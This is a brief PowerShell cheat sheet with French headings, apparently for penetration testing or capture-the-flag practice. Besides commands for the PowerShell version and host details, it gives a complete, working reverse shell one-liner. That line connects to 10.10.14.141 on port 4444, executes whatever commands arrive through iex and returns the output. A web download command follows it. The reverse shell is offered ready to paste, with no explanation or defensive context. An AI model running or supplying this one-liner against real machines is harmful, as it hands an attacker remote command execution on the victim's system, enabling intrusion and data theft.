Powershell cheat sheet

  • Version de powershell :
$PSVersionTable.PSVersion
  • Récupérer les infos de la machine hôte:
Get-ComputerInfo
  • PowerShell oneliner reverse shell:
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.141",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • HTTP download:
Invoke-WebRequest -Uri x.x.x.x -OutFile filename